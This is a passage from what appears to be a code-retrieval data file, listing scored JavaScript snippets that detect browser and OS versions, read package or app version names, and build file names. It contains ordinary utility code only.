loading\";\n return `${data} ${type}`;\n}", "title": "" }, { "docid": "cd142176aaa74d5d493d57a4cd27fae2", "score": "0.56778115", "text": "function getVersion(a) {\n return a.url.substring(1, 3) || \"v1\";\n}", "title": "" }, { "docid": "7cdfc6e9011a7b2b00ede9d4ecd63598", "score": "0.56765395", "text": "getClassName(){return \"Core.UI.Assets\";}", "title": "" }, { "docid": "1548e526716c63f316a76675a2242eb0", "score": "0.56643116", "text": "getReleaseBranchName(version) {\n return `release-${version}`;\n }", "title": "" }, { "docid": "0ff841ed82d0d194ca1005997ffd51b0", "score": "0.56521404", "text": "function getVendorPrefix() {\n var regex = /^(Moz|Webkit|Khtml|O|ms|Icab)(?=[A-Z])/,\n someScript = document.getElementsByTagName( \"script\" )[ 0 ];\n\n for ( var prop in someScript.style ) {\n if ( regex.test(prop) ) {\n return prop.match( regex )[ 0 ];\n }\n }\n\n if ( \"WebkitOpacity\" in someScript.style ) return \"Webkit\";\n if ( \"KhtmlOpacity\" in someScript.style ) return \"Khtml\";\n\n return \"\";\n }", "title": "" }, { "docid": "9824bfb31a52548dd78685cb9173e7da", "score": "0.5647178", "text": "_getTag () {\n let pkg = this._loadPackageJson()\n\n let version = pkg.version\n return 'v' + version\n }", "title": "" }, { "docid": "2861aa156e9cf519c5c87c3048a10ec3", "score": "0.55997366", "text": "name(file) {\n console.log('outputting file >>>> ', file);\n return '/assets/[name]_[hash].[ext]';\n }", "title": "" }, { "docid": "93eb4dc94a7b925b737c444128e713de", "score": "0.5550146", "text": "getCssCacheVersionString() {}", "title": "" }, { "docid": "87987f1ca038270b665b1b6620190184", "score": "0.55498284", "text": "function get_file_name(){\n if(new_material_design_version()){\n var video_name = \"\";\n if(first_load){\n var title_element = document.querySelectorAll('.title.style-scope.ytd-video-primary-info-renderer');\n video_name = title_element[0].childNodes[0].data;\n }else{\n video_name = youtube_playerResponse_1c7.videoDetails.title;\n }\n return get_auto_subtitle_name() + video_name + '.srt';\n } else {\n var TITLE = unsafeWindow.ytplayer.config.args.title;\n return get_auto_subtitle_name() + TITLE + '.srt';\n }\n}", "title": "" }, { "docid": "3e6516b14c08ccf84994cc1a0070109d", "score": "0.55294895", "text": "function displayVer(){\n let h6 = document.createElement(\"h6\");\n h6.setAttribute(\"style\",\"color:white;font-family:sans-serif;position:fixed;bottom:10px;left:5px;z-index:1000;\");\n caches.open(\"cache\").then(function(cache){\n return cache.match(\"VERSION.txt\").then(function(res){\n if(!res){\n throw new Error(\"Invalid cache response.\");\n }\n return res.text();\n }).then(function(txt){\n h6.textContent = \"Current version: \" + txt;\n document.body.appendChild(h6);\n return;\n });\n }).catch(function(){\n fetch(\"VERSION.txt\").then(function(res){\n if(!res){\n throw new Error(\"Fetch failed.\");\n }\n return res.text();\n }).then(function(txt){\n if(!txt){\n throw new Error(\"Response.text() returned an invalid response.\");\n }\n h6.textContent = \"Current version: \" + txt;\n document.body.appendChild(h6);\n return;\n }).catch(function(err){\n /*Hmmmm, something must have gone horribly wrong here if an error is generated to the point where this code runs...*/\n h6.textContent = \"Unknown\";\n document.body.appendChild(h6);\n console.warn(\"Failed getting version. This shouldn't happen. If you are offline, try connecting to the internet. If that doesn't work, then please try clearing the site data. Error generated: \" + err);\n return;\n });\n });\n}", "title": "" }, { "docid": "16191838240c1822f643d6d55ebac301", "score": "0.5524866", "text": "function getBrowserInfo() {\n var nVer = navigator.appVersion;\n var nAgt = navigator.userAgent;\n var browserName = navigator.appName;\n var fullVersion = '' + parseFloat(navigator.appVersion);\n var majorVersion = parseInt(navigator.appVersion, 10);\n var nameOffset, verOffset, ix;\n\n // In Opera, the true version is after 'Opera' or after 'Version'\n if (isOpera) {\n browserName = 'Opera';\n try {\n fullVersion = navigator.userAgent.split('OPR/')[1].split(' ')[0];\n majorVersion = fullVersion.split('.')[0];\n } catch (e) {\n fullVersion = '0.0.0.0';\n majorVersion = 0;\n }\n }\n // In MSIE, the true version is after 'MSIE' in userAgent\n else if (isIE) {\n verOffset = nAgt.indexOf('MSIE');\n browserName = 'IE';\n fullVersion = nAgt.substring(verOffset + 5);\n }\n // In Chrome, the true version is after 'Chrome' \n else if (isChrome) {\n verOffset = nAgt.indexOf('Chrome');\n browserName = 'Chrome';\n fullVersion = nAgt.substring(verOffset + 7);\n }\n // In Safari, the true version is after 'Safari' or after 'Version' \n else if (isSafari) {\n verOffset = nAgt.indexOf('Safari');\n browserName = 'Safari';\n fullVersion = nAgt.substring(verOffset + 7);\n\n if ((verOffset = nAgt.indexOf('Version')) !== -1) {\n fullVersion = nAgt.substring(verOffset + 8);\n }\n }\n // In Firefox, the true version is after 'Firefox' \n else if (isFirefox) {\n verOffset = nAgt.indexOf('Firefox');\n browserName = 'Firefox';\n fullVersion = nAgt.substring(verOffset + 8);\n }\n\n // In most other browsers, 'name/version' is at the end of userAgent \n else if ((nameOffset = nAgt.lastIndexOf(' ') + 1) < (verOffset = nAgt.lastIndexOf('/'))) {\n browserName = nAgt.substring(nameOffset, verOffset);\n fullVersion = nAgt.substring(verOffset + 1);\n\n if (browserName.toLowerCase() === browserName.toUpperCase()) {\n browserName = navigator.appName;\n }\n }\n\n if (isEdge) {\n browserName = 'Edge';\n // fullVersion = navigator.userAgent.split('Edge/')[1];\n fullVersion = parseInt(navigator.userAgent.match(/Edge\\/(\\d+).(\\d+)$/)[2], 10).toString();\n }\n\n // trim the fullVersion string at semicolon/space if present\n if ((ix = fullVersion.indexOf(';')) !== -1) {\n fullVersion = fullVersion.substring(0, ix);\n }\n\n if ((ix = fullVersion.indexOf(' ')) !== -1) {\n fullVersion = fullVersion.substring(0, ix);\n }\n\n majorVersion = parseInt('' + fullVersion, 10);\n\n if (isNaN(majorVersion)) {\n fullVersion = '' + parseFloat(navigator.appVersion);\n majorVersion = parseInt(navigator.appVersion, 10);\n }\n\n return {\n fullVersion: fullVersion,\n version: majorVersion,\n name: browserName,\n isPrivateBrowsing: false\n };\n }", "title": "" }, { "docid": "e108c6415cf4c4abdbe51ddd9e140123", "score": "0.5493554", "text": "function getVerName(name, params) {\n let _par = params || {};\n\n let _parseAppName = typeof parseAppName === \"undefined\" ? parseAppNameRaw : parseAppName;\n let _debugInfo = (_msg, _info_flag) => (typeof debugInfo === \"undefined\" ? debugInfoRaw : debugInfo)(_msg, _info_flag, _par.debug_info_flag);\n\n name = _handleName(name);\n let _package_name = _parseAppName(name).package_name;\n if (!_package_name) return null;\n\n try {\n let _installed_packages = context.getPackageManager().getInstalledPackages(0).toArray();\n for (let i in _installed_packages) {\n if (_installed_packages[i].packageName.toString() === _package_name.toString()) {\n return _installed_packages[i].versionName;\n }\n }\n } catch (e) {\n _debugInfo(e);\n }\n return null;\n\n // tool function(s) //\n\n function _handleName(name) {\n if (name.match(/^[Aa]uto\\.?js/)) return \"org.autojs.autojs\" + (name.match(/[Pp]ro$/) ? \"pro\" : \"\");\n if (name === \"self\") return currentPackage();\n if (name.match(/^[Cc]urrent.*[Aa]uto.*js/)) return context.packageName;\n return name;\n }\n\n // raw function(s) //\n\n function debugInfoRaw(msg, info_flg) {\n if (info_flg) {\n let _s = msg || \"\";\n _s = _s.replace(/^(>*)( *)/, \">>\" + \"$1 \");\n console.verbose(_s);\n }\n }\n\n function parseAppNameRaw(name) {\n let _app_name = !name.match(/.+\\..+\\./) && app.getPackageName(name) && name;\n let _package_name = app.getAppName(name) && name;\n _app_name = _app_name || _package_name && app.getAppName(_package_name);\n _package_name = _package_name || _app_name && app.getPackageName(_app_name);\n return {\n app_name: _app_name,\n package_name: _package_name,\n };\n }\n}", "title": "" }, { "docid": "6556fe0769eab05ee429d4b2e2bf88ac", "score": "0.5481199", "text": "static getVersions() {\n //this method exists because my browser doesn't support\n //a class having fields\n return {\n K: \"Kiosk Demo\",\n U0: \"US V1.0\",\n U1: \"US V1.1\",\n J0: \"JP V1.0\",\n J1: \"JP V1.1\",\n E0: \"EU V1.0\",\n E1: \"EU V1.1\",\n };\n }", "title": "" }, { "docid": "c2f96112bbd01d9337747cedfc1959cb", "score": "0.54716635", "text": "function getToolName(){\n\tvar tool_url = $(\"#tool_list\").val();\n\tvar tool_url_part = tool_url.split(\"/\");\n\tvar tool_name = tool_url_part[1].split(\".\");\n\tvar tool = tool_name[0];\n\t\n\treturn tool;\n}", "title": "" }, { "docid": "bc99eeaf07d8eb50e60d2f6080fd996e", "score": "0.54656756", "text": "function getLibFileName() {\n var appInfo = Cc[\"@mozilla.org/xre/app-info;1\"].getService(Ci.nsIXULAppInfo);\n var geckoVersion = appInfo.platformVersion.substring(0, 3);\n\n if (geckoVersion == \"1.8\") {\n return \"ff2\";\n }\n\n if (geckoVersion.substring(0, 3) == \"1.9\") {\n var firefoxVersion = appInfo.version.substring(0, 3);\n\n if (firefoxVersion == \"3.0\") {\n if (isFedora()) {\n return \"ff3+\";\n }\n return \"ff3\";\n }\n\n if (firefoxVersion == \"3.5\") {\n return \"ff35\";\n }\n\n if (firefoxVersion == \"3.6\") {\n return \"ff36\";\n }\n\n throw \"Unexpected Firefox version: \" + firefoxVersion;\n }\n\n throw \"Unexpected Gecko version: \" + geckoVersion;\n}", "title": "" }, { "docid": "01d2e669001e6a87440fce76e5e94734", "score": "0.54442924", "text": "function getBrowserName() {\n let sBrowser = document.getElementById(\"browser-text\");\n\n var sUsrAg = navigator.userAgent;\n // The order matters here, and this may report false positives for unlisted browsers.\n\n if (sUsrAg.indexOf(\"Firefox\") > -1) {\n sBrowser.innerHTML = \"Mozilla Firefox\";\n // \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0\"\n } else if (sUsrAg.indexOf(\"SamsungBrowser\") > -1) {\n sBrowser.innerHTML = \"Samsung Internet\";\n // \"Mozilla/5.0 (Linux; Android 9; SAMSUNG SM-G955F Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.4 Chrome/67.0.3396.87 Mobile Safari/537.36\n } else if (sUsrAg.indexOf(\"Opera\") > -1 || sUsrAg.indexOf(\"OPR\") > -1) {\n sBrowser.innerHTML = \"Opera\";\n // \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 OPR/57.0.3098.106\"\n } else if (sUsrAg.indexOf(\"Trident\") > -1) {\n sBrowser.innerHTML = \"Microsoft Internet Explorer\";\n // \"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Zoom 3.6.0; wbx 1.0.0; rv:11.0) like Gecko\"\n } else if (sUsrAg.indexOf(\"Edge\") > -1) {\n sBrowser.innerHTML = \"Microsoft Edge\";\n // \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299\"\n } else if (sUsrAg.indexOf(\"Chrome\") > -1) {\n sBrowser.innerHTML = \"Google Chrome eller Chromium\";\n // \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/66.0.3359.181 Chrome/66.0.3359.181 Safari/537.36\"\n } else if (sUsrAg.indexOf(\"Safari\") > -1) {\n sBrowser.innerHTML = \"Apple Safari\";\n // \"Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 980x1306\"\n } else {\n sBrowser.innerHTML = \"unknown\";\n }\n}", "title": "" }, { "docid": "805fd9d4762e76dfc8bb571f3431ba00", "score": "0.54405916", "text": "function getv2(){\r\n\t//\t\t\tfind(\"//script[@type='text/javascript']\", XPFirst).src.search(/(\\d).js$/);\r\n\t\t\t\tvar a=document.title;\r\n\t\t\t\tif (a==\"Travian cnt\") {\r\n\t\t\t\treturn 1 }else {\r\n\t\t\t\treturn 3}\r\n\t\t}", "title": "" }, { "docid": "fbd1b11cd7adda17e5d2d8c924e99695", "score": "0.54383314", "text": "function omgfaqs_loadFile(ver) {\n $(\"head\").append(`\n <link href='${rootlinkProductFaqs}/assets/css/productfaqs.css?v=${ver}' rel='stylesheet' type='text/css'>\n `);\n omgfaqs_cachedScript(`${rootlinkProductFaqs}/app.js?v=${ver}`).done(\n function (script, textStatus) {\n omgfaqs_getJsonFile();\n }\n );\n }", "title": "" }, { "docid": "c7eab517a64b1584606e6a1c51cb8725", "score": "0.5431461", "text": "function parseCrateVersionFromDOM() {\n let versionText = document.querySelector('form .crate-name>.title').textContent;\n if (versionText) {\n // The form of versionText is {crateName}-{version}, separated by hypen, e.g. 'tokio-1.7.0',\n // However, the crate name could contains hypen too, such as 'tracing-subscriber-0.3.9'.\n let lastHypenIndex = versionText.lastIndexOf('-');\n return versionText.substring(lastHypenIndex + 1);\n } else {\n return null;\n }\n}", "title": "" }, { "docid": "60f8dfc53f48467ac3d0e0797715c91e", "score": "0.54272544", "text": "function getMinName() {\n return getUmdName().replace('.umd.js', '.min.js');\n}", "title": "" }, { "docid": "61d19f39ee1eeceaa3816749fc156fd7", "score": "0.5404424", "text": "function getUmdName() {\n return pkg.main.replace('.js', '.umd.js');\n}", "title": "" }, { "docid": "562bd09524d00060608cf602c915b81e", "score": "0.54008645", "text": "get siteTitle(){const manifest=this.manifest;if(manifest.title){return manifest.title}return\"\"}", "title": "" }, { "docid": "2277dab16834831a3f219277b305c45c", "score": "0.53915554", "text": "function getBrowserInfo() {\n\tif (checkIt('konqueror')) {\n\t\tbrowser = \"Konqueror\";\n\t\tOS = \"Linux\";\n\t}\n\telse if (checkIt('safari')) browser = \"Safari\";\n\telse if (checkIt('omniweb')) browser = \"OmniWeb\";\n\telse if (checkIt('opera')) browser = \"Opera\";\n\telse if (checkIt('webtv')) browser = \"WebTV\";\n\telse if (checkIt('icab')) browser = \"iCab\";\n\telse if (checkIt('msie')) browser = \"Internet Explorer\";\n\telse if (!checkIt('compatible')) {\n\t\tbrowser = \"Netscape Navigator\"\n\t\tversion = detect.charAt(8);\n\t}\n\telse browser = \"An unknown browser\";\n\n\tif (!version) version = detect.charAt(place + thestring.length);\n\n\tif (!OS) {\n\t\tif (checkIt('linux')) OS = \"Linux\";\n\t\telse if (checkIt('x11')) OS = \"Unix\";\n\t\telse if (checkIt('mac')) OS = \"Mac\"\n\t\telse if (checkIt('win')) OS = \"Windows\"\n\t\telse OS = \"an unknown operating system\";\n\t}\n}", "title": "" }, { "docid": "20646ad416a0d7d35ff684368e8b2036", "score": "0.5386441", "text": "function getBrowserInfo() {\n var nVer = navigator.appVersion;\n var nAgt = navigator.userAgent;\n var browserName = navigator.appName;\n var fullVersion = '' + parseFloat(navigator.appVersion);\n var majorVersion = parseInt(navigator.appVersion, 10);\n var nameOffset, verOffset, ix;\n\n // In Opera, the true version is after 'Opera' or after 'Version'\n if (isOpera) {\n browserName = 'Opera';\n try {\n fullVersion = navigator.userAgent.split('OPR/')[1].split(' ')[0];\n majorVersion = fullVersion.split('.')[0];\n } catch (e) {\n fullVersion = '0.0.0.0';\n majorVersion = 0;\n }\n }\n // In MSIE version <=10, the true version is after 'MSIE' in userAgent\n // In IE 11, look for the string after 'rv:'\n else if (isIE) {\n verOffset = nAgt.indexOf('rv:');\n if (verOffset > 0) { //IE 11\n fullVersion = nAgt.substring(verOffset + 3);\n } else { //IE 10 or earlier\n verOffset = nAgt.indexOf('MSIE');\n fullVersion = nAgt.substring(verOffset + 5);\n }\n browserName = 'IE';\n }\n // In Chrome, the true version is after 'Chrome'\n else if (isChrome) {\n verOffset = nAgt.indexOf('Chrome');\n browserName = 'Chrome';\n fullVersion = nAgt.substring(verOffset + 7);\n }\n // In Safari, the true version is after 'Safari' or after 'Version'\n else if (isSafari) {\n verOffset = nAgt.indexOf('Safari');\n\n browserName = 'Safari';\n fullVersion = nAgt.substring(verOffset + 7);\n\n if ((verOffset = nAgt.indexOf('Version')) !== -1) {\n fullVersion = nAgt.substring(verOffset + 8);\n }\n\n if (navigator.userAgent.indexOf('Version/') !== -1) {\n fullVersion = navigator.userAgent.split('Version/')[1].split(' ')[0];\n }\n }\n // In Firefox, the true version is after 'Firefox'\n else if (isFirefox) {\n verOffset = nAgt.indexOf('Firefox');\n browserName = 'Firefox';\n fullVersion = nAgt.substring(verOffset + 8);\n }\n\n // In most other browsers, 'name/version' is at the end of userAgent\n else if ((nameOffset = nAgt.lastIndexOf(' ') + 1) < (verOffset = nAgt.lastIndexOf('/'))) {\n browserName = nAgt.substring(nameOffset, verOffset);\n fullVersion = nAgt.substring(verOffset + 1);\n\n if (browserName.toLowerCase() === browserName.toUpperCase()) {\n browserName = navigator.appName;\n }\n }\n\n if (isEdge) {\n browserName = 'Edge';\n fullVersion = navigator.userAgent.split('Edge/')[1];\n // fullVersion = parseInt(navigator.userAgent.match(/Edge\\/(\\d+).(\\d+)$/)[2], 10).toString();\n }\n\n // trim the fullVersion string at semicolon/space/bracket if present\n if ((ix = fullVersion.search(/[; \\)]/)) !== -1) {\n fullVersion = fullVersion.substring(0, ix);\n }\n\n majorVersion = parseInt('' + fullVersion, 10);\n\n if (isNaN(majorVersion)) {\n fullVersion = '' + parseFloat(navigator.appVersion);\n majorVersion = parseInt(navigator.appVersion, 10);\n }\n\n return {\n fullVersion: fullVersion,\n version: majorVersion,\n name: browserName,\n isPrivateBrowsing: false\n };\n }", "title": "" }, { "docid": "924dd53343af2bb8a40d56d92b08d964", "score": "0.5383648", "text": "function getGem() {\r\n try {\r\n var children = document.getElementById('ikey_p').children[0].children;\r\n var gemName = '';\r\n for(var i = 0; i < children.length; i++){\r\n var c = children[i].className.slice(-1);\r\n if(c >= 'a' && c <= 'z'){\r\n gemName += c;\r\n }\r\n else{\r\n gemName += ' ';\r\n }\r\n }\r\n return gemName;\r\n } catch (e) {\r\n return 'none';\r\n }\r\n}", "title": "" }, { "docid": "1ddbbabda72945340bb433675177be79", "score": "0.53826475", "text": "function detectBrowserInfo() {\n var nAgt = navigator.userAgent;\n var browserName = navigator.appName;\n var nVer = navigator.appVersion;\n var fullVersion = \"\" + parseFloat(navigator.appVersion);\n var verOffset;\n var codeBase = {\n goog: \"Chrome\",\n moz: \"Firefox\",\n plugin: \"Plugin\",\n edge: \"Edge\",\n };\n\n var codeBaseType;\n\n // In Opera, the true version is after \"Opera\" or after \"Version\"\n if ((verOffset = nAgt.indexOf(\"Opera\")) !== -1) {\n browserName = \"Opera\";\n fullVersion = nAgt.substring(verOffset + 6);\n if ((verOffset = nAgt.indexOf(\"Version\")) !== -1) {\n fullVersion = nAgt.substring(verOffset + 8);\n }\n codeBaseType = codeBase.goog;\n } else if ((verOffset = nAgt.indexOf(\"OPR\")) !== -1) {\n browserName = \"Opera\";\n fullVersion = nAgt.substring(verOffset + 4);\n if ((verOffset = nAgt.indexOf(\"Version\")) !== -1) {\n fullVersion = nAgt.substring(verOffset + 8);\n }\n codeBaseType = codeBase.goog;\n } else if ((verOffset = nAgt.indexOf(\"MSIE\")) !== -1) {\n // In MSIE, the true version is after \"MSIE\" in userAgent\n browserName = \"Microsoft Internet Explorer\";\n fullVersion = nAgt.substring(verOffset + 5);\n codeBaseType = codeBase.goog;\n } else if ((verOffset = nAgt.indexOf(\"Edge\")) !== -1) {\n browserName = codeBase.edge;\n fullVersion = nAgt.substring(verOffset + 5);\n codeBaseType = codeBase.edge;\n } else if ((verOffset = nAgt.indexOf(\"Chrome\")) !== -1) {\n // In Chrome, the true version is after \"Chrome\"\n browserName = codeBase.goog;\n fullVersion = nAgt.substring(verOffset + 7);\n codeBaseType = codeBase.goog;\n } else if ((verOffset = nAgt.indexOf(\"Safari\")) !== -1) {\n // In Safari, the true version is after \"Safari\" or after \"Version\"\n browserName = \"Safari\";\n fullVersion = nAgt.substring(verOffset + 7);\n if ((verOffset = nAgt.indexOf(\"Version\")) !== -1) {\n fullVersion = nAgt.substring(verOffset + 8);\n }\n codeBaseType = codeBase.goog;\n } else if ((verOffset = nAgt.indexOf(\"Firefox\")) !== -1) {\n // In Firefox, the true version is after \"Firefox\"\n browserName = \"Firefox\";\n fullVersion = nAgt.substring(verOffset + 8);\n codeBaseType = codeBase.moz;\n } else if ((verOffset = nAgt.indexOf(\"Trident\")) !== -1) {\n // IE 11 has no MSIE\n browserName = \"Microsoft Internet Explorer\";\n verOffset = nAgt.indexOf(\"rv\"); // In IE11, the true version is after \"rv\"\n fullVersion = nAgt.substring(verOffset + 3, verOffset + 7);\n codeBaseType = codeBase.goog;\n }\n\n // system\n // source: http://jsfiddle.net/ChristianL/AVyND/\n var osName = null;\n var clientStrings = [\n { s: \"Windows 3.11\", r: /Win16/ },\n { s: \"Windows 95\", r: /(Windows 95|Win95|Windows_95)/ },\n { s: \"Windows ME\", r: /(Win 9x 4.90|Windows ME)/ },\n { s: \"Windows 98\", r: /(Windows 98|Win98)/ },\n { s: \"Windows CE\", r: /Windows CE/ },\n { s: \"Windows 2000\", r: /(Windows NT 5.0|Windows 2000)/ },\n { s: \"Windows XP\", r: /(Windows NT 5.1|Windows XP)/ },\n { s: \"Windows Server 2003\", r: /Windows NT 5.2/ },\n { s: \"Windows Vista\", r: /Windows NT 6.0/ },\n { s: \"Windows 7\", r: /(Windows 7|Windows NT 6.1)/ },\n { s: \"Windows 8.1\", r: /(Windows 8.1|Windows NT 6.3)/ },\n { s: \"Windows 8\", r: /(Windows 8|Windows NT 6.2)/ },\n { s: \"Windows 10\", r: /(Windows 10|Windows NT 10.0)/ },\n { s: \"Windows NT 4.0\", r: /(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/ },\n { s: \"Windows ME\", r: /Windows ME/ },\n { s: \"Android\", r: /Android/ },\n { s: \"Open BSD\", r: /OpenBSD/ },\n { s: \"Sun OS\", r: /SunOS/ },\n { s: \"Linux\", r: /(Linux|X11)/ },\n { s: \"iOS\", r: /(iPhone|iPad|iPod)/ },\n { s: \"Mac OS X\", r: /Mac OS X/ },\n { s: \"Mac OS\", r: /(MacPPC|MacIntel|Mac_PowerPC|Macintosh)/ },\n { s: \"QNX\", r: /QNX/ },\n { s: \"UNIX\", r: /UNIX/ },\n { s: \"BeOS\", r: /BeOS/ },\n { s: \"OS/2\", r: /OS\\/2/ },\n {\n s: \"Search Bot\",\n r: /(nuhk|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask Jeeves\\/Teoma|ia_archiver)/,\n },\n ];\n\n var id, cs;\n for (id in clientStrings) {\n cs = clientStrings[id];\n if (cs.r.test(nAgt)) {\n osName = cs.s;\n break;\n }\n }\n\n var osVersion = null;\n if (/Windows/.test(osName)) {\n osVersion = /Windows (.*)/.exec(osName)[1];\n osName = \"Windows\";\n }\n\n switch (osName) {\n case \"Mac OS X\":\n osVersion = /Mac OS X (10[\\.\\_\\d]+)/.exec(nAgt)[1];\n break;\n case \"Android\":\n osVersion = /Android ([\\.\\_\\d]+)/.exec(nAgt)[1];\n break;\n case \"iOS\":\n osVersion = /OS (\\d+)_(\\d+)_?(\\d+)?/.exec(nVer);\n osVersion = osVersion[1] + \".\" + osVersion[2] + \".\" + (osVersion[3] | 0);\n break;\n }\n\n return {\n name: browserName,\n ver: fullVersion.toString(),\n os: osName,\n osVersion: osVersion,\n codebase: codeBaseType,\n userAgent: nAgt,\n };\n}", "title": "" }, { "docid": "13338cb99861510ae5d9f1e0df4fdb58", "score": "0.5380967", "text": "function getBrowserVersion() {\n\tvar name = navigator.appName;\n\tvar version = navigator.appVersion;\n\tvar agent = navigator.userAgent;\n\t\n\tif (inFirefox()) {\n\t\tname = \"Firefox\";\n\t\tversion = agent.substr(agent.lastIndexOf(\"/\") + 1);\n\t} else if (inInternetExplorer()) {\n\t\tvar verStart = agent.indexOf(\"MSIE \") + 5;\n\t\tvar verEnd = agent.indexOf(\";\",verStart);\n\t\tversion = agent.substring(verStart, verEnd);\n\t} else if (inChrome()) {\n\t\tname = \"Chrome\";\n\t\tvar verStart = version.indexOf(\"Chrome/\") + 7;\n\t\tvar verEnd = version.indexOf(\" \", verStart);\n\t\tversion = version.substring(verStart, verEnd);\n\t}else if (inOpera()) {\n\t\tversion = agent.substr(agent.lastIndexOf(\"/\")+1);\n\t} else {\n\t\tname = \"Unknown Browser\";\n\t\tversion = \"0.0\";\n\t}//end if\n\t\n\treturn name + \" Version: \" + version;\n}//end getBrowserVersion", "title": "" }, { "docid": "ea4b1863fc281bf5794d11feff2e04d9", "score": "0.53624666", "text": "get version() {\n return crypto_1.createHash('md5').update(JSON.stringify(this.manifest())).digest('hex').slice(0, 10);\n }", "title": "" }, { "docid": "5c01ce27c5f81ee4b632f6d77ef4c0bd", "score": "0.53545254", "text": "function getPackageName(){\n //url will be like this: \n //https://scorecard.d.evo.vodafone.com/just/apps/scorecard/services/document.xsjs\n //somtimes, it will be like this:\n //https://scorecard.d.evo.vodafone.com/just/apps/scorecard/services/document.xsjs/\n var path = $.request.path;\n \n //path has a leading slash, get rid of that.\n //so path is now: just/apps/scorecard/services/document.xsjs/\n path = path.substr(1);\n\n //if path was just/apps/scorecard/services/document.xsjs/ then indexOfPackageIdentifier\n //indexOfPackageIdentifier will now be \"just/apps\".length\n var indexOfPackageIdentifier = path.indexOf(\"/\" + packageIdentifier + \"/\");\n\n if (indexOfPackageIdentifier === -1) {\n error.raise(\n \"getPackageName\", \n arguments,\n \"Package identifier \" + pacakgeIdentifier + \" not found in $.request.path \" + $.request.path + \".\" \n );\n }\n //if all goes well, path is now something like just/apps\n path = path.substr(0, indexOfPackageIdentifier);\n \n //replace slash \n var parentPackageName = path.replace(/\\//g, \".\");\n var packageName = parentPackageName + \".\" + packageIdentifier;\n return packageName;\n }", "title": "" }, { "docid": "11a8fbe31004a91d2c7563ff42ee0784", "score": "0.53517836", "text": "function resolveVersion(framework, type, name, version) {\n\t\tif (applicationManifest.overrides !== undefined &&\n\t\t\tapplicationManifest.overrides[framework] !== undefined &&\n\t\t\tapplicationManifest.overrides[framework][type] !== undefined &&\n\t\t\tapplicationManifest.overrides[framework][type][name] !== undefined) {\n\t\t\treturn applicationManifest.overrides[framework][type][name];\n\t\t}\n\t\t\n\t\treturn version;\n\t}", "title": "" }, { "docid": "807f548b80a23763643d29562ebb1056", "score": "0.53435475", "text": "function getVersion(){\n return VERSION;\n}", "title": "" }, { "docid": "a7635091e22d818db16f4893268ed4c3", "score": "0.5340309", "text": "function getBundledFileName(filename) {\n var idx = filename.lastIndexOf(\"google/protobuf/\");\n if (idx > -1) {\n var altname = filename.substring(idx);\n if (altname in common) return altname;\n }\n return null;\n }", "title": "" }, { "docid": "8510730dbe921d2f55680e432a55a09c", "score": "0.53401935", "text": "function getVersion(inputMd){\n\t $.get(inputMd,function(txt){\n\t var lines = txt.split(\"\\n\");\n\t // get version \n\t $(\".version\").html(lines[1]);\n\t }); \n\t}", "title": "" }, { "docid": "60565272bb6b056e65c6b31b97bbfb3c", "score": "0.532199", "text": "static get sdkUserAgentLowResolution() {\n const browserBehavior = new DefaultBrowserBehavior_1.default();\n return `${browserBehavior.name()}-${browserBehavior.majorVersion()}`;\n }", "title": "" }, { "docid": "39d0e656ced79ce96bed429cdd8c0209", "score": "0.5319189", "text": "function onInit() {\n NuclioVersionService.getVersion()\n .then(function (versionInfo) {\n ctrl.nuclioVersion = lodash.get(versionInfo, 'dashboard.label', 'unknown version');\n });\n }", "title": "" }, { "docid": "4daf5c0210807c4a782caf5690d1c5a3", "score": "0.5307685", "text": "function getBrowserName() {\n var name = \"Unknown\";\n if (window.navigator.userAgent.indexOf(\"MSIE\") !== -1) {\n } else if (window.navigator.userAgent.indexOf(\"Firefox\") !== -1) {\n name = \"Firefox\";\n } else if (window.navigator.userAgent.indexOf(\"Opera\") !== -1) {\n name = \"Opera\";\n } else if (window.navigator.userAgent.indexOf(\"Chrome\") !== -1) {\n name = \"Chrome\";\n } else if (window.navigator.userAgent.indexOf(\"Safari\") !== -1) {\n name = \"Safari\";\n }\n return name;\n}", "title": "" }, { "docid": "777278a5e829e287c9cca9562df28d07", "score": "0.53075266", "text": "versionInfo() {\n let version = <utils.Spinner />;\n let latest = null;\n\n if (this.state.version) {\n version = this.state.version.version;\n latest = this.state.version.latest;\n }\n\n if (!latest || !semver.valid(latest.version)) {\n return this.defaultVersionInfo(version);\n }\n\n if (!semver.gt(latest.version, version) || !latest.asset) {\n return this.defaultVersionInfo(version);\n }\n\n return (\n <Alert variant=\"warning\" style={{textAlign: \"center\"}}>\n <div className=\"mb-2\" style={{fontSize: \"150%\"}}>\n OxidizeBot <b>{latest.version}</b> is available (current: <b>{version}</b>).\n </div>\n\n <div>\n Download link:&nbsp;\n <a href={latest.asset.download_url}>{latest.asset.name}</a>\n </div>\n </Alert>\n );\n }", "title": "" }, { "docid": "c1cbc9e155b3c671688f8951dcef3ac3", "score": "0.5305745", "text": "static get is() {\n\t\treturn 'uvanoticia-imagen';\n\t}", "title": "" }, { "docid": "c1cbc9e155b3c671688f8951dcef3ac3", "score": "0.5305745", "text": "static get is() {\n\t\treturn 'uvanoticia-imagen';\n\t}", "title": "" }, { "docid": "c7808c9720f5472b49614819eb1ee2dd", "score": "0.52994275", "text": "function get_browser() {\n // var ua=navigator.userAgent,tem,M=ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\\/))\\/?\\s*(\\d+(\\.?\\d+)+)/i) || [];\n var ua=navigator.userAgent,tem,M=ua.match(/(opera|chrome|safari|firefox|msie|trident|WorxWeb(?=\\/))\\/?\\s*(\\d+(\\.?\\d+)+)/i) || [];\n console.log(\"DEBUG: User-agent string: \"+ua);\n exemption = navigator.userAgent.includes(\"Chrome\");\n if(/trident/i.test(M[1])){\n tem=/\\brv[ :]+(\\d+)/g.exec(ua) || 